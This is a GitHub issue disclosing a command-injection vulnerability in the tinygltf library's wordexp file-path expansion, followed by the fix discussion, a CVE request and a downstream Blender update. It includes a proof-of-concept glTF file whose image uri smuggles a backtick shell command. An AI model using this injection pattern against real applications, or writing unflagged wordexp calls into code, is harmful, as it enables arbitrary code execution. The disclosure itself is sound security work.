Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Command injection via wordexp call. #368

Closed
oliverchang opened this issue Aug 16, 2022 · 6 comments
Closed

Command injection via wordexp call. #368

oliverchang opened this issue Aug 16, 2022 · 6 comments

Comments

@oliverchang
Copy link

Describe the issue

This is a security vulnerability. The wordexp call here allows arbitrary code execution

int ret = wordexp(quoted_path.c_str(), &p, 0);
when parsing a gltf file.

To Reproduce

  • OS: Linux
  • Compiler, compiler version, compile options: Clang 13.0.1-6
$ git clone https://github.com/syoyo/tinygltf
$ cd tinygltf && make all
$ echo '{"images":[{"uri":"a`echo iamhere > poc`"}], "asset":{"version":""}}' > payload.gltf
$ ./loader_example payload.gltf
$ cat poc
iamhere

Expected behaviour
The echo iamhere > poc command should not be executed and the poc file is not created in the CWD.

Additional context
This was found by OSS-Fuzz: https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=49053

One potential fix here is to pass WRDE_NOCMD to wordexp per https://man7.org/linux/man-pages/man3/wordexp.3.html

@syoyo
Copy link
Owner

syoyo commented Aug 16, 2022

@oliverchang Thanks! In ExpandFilePath

std::string ExpandFilePath(const std::string &filepath, void *userdata);
wordexp is used to expand file path(i.e, expand environment variable, expand tilde(~) when a file path contains such symbol).

But according to glTF spec https://registry.khronos.org/glTF/specs/2.0/glTF-2.0.html#uris , uri must be URI/IRI, so file(resource) path should not contain environment variables and tilde, so we need to use URI decoder/encoder instead of ExpandFilePath.

Related: #337

@syoyo
Copy link
Owner

syoyo commented Aug 16, 2022

Disabled file path expansion(so no wordexp anymore) in this commit: 52ff00a

TODO: Proper/strict decoding/encoding of URI asset path:

// https://github.com/syoyo/tinygltf/issues/228

@syoyo syoyo closed this as completed Aug 16, 2022
@oliverchang
Copy link
Author

oliverchang commented Aug 16, 2022

Thank you very much for the amazingly fast fix @syoyo !

Would it be possible to create a security advisory (and CVE) for this via https://github.com/syoyo/tinygltf/security/advisories so downstream users are notified? We (Google) can also help with this if you prefer.

@syoyo
Copy link
Owner

syoyo commented Aug 16, 2022

@oliverchang Oh, I didn't know Github has a Security page 😮 Will take a look it.

@oliverchang
Copy link
Author

Hi @syoyo, have you had a chance to try generating an advisory for this issue? It's a crucial part of making sure users of this library are notified of vulnerabilities (and that they need to update).

@oliverchang
Copy link
Author

FYI we've requested CVE-2022-3008 for this vulnerability: https://nvd.nist.gov/vuln/detail/CVE-2022-3008

Piyuuussshhh pushed a commit to Piyuuussshhh/blender that referenced this issue Mar 10, 2023
The use of wordexp(3) permits arbitrary code execution from manually-crafted
glTF files. See syoyo/tinygltf#368 for more details.
In practice this shouldn't be an issue for Blender since the GlTF data isn't
manually crafted but from the OpenXR runtime (a bit like a driver). But
updating the library to include the fix is not a big deal anyway.

Note that the warning that required the local modification is no longer present upstream since
  syoyo/tinygltf@0bfcb4f

Pull Request: https://projects.blender.org/blender/blender/pulls/105536
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants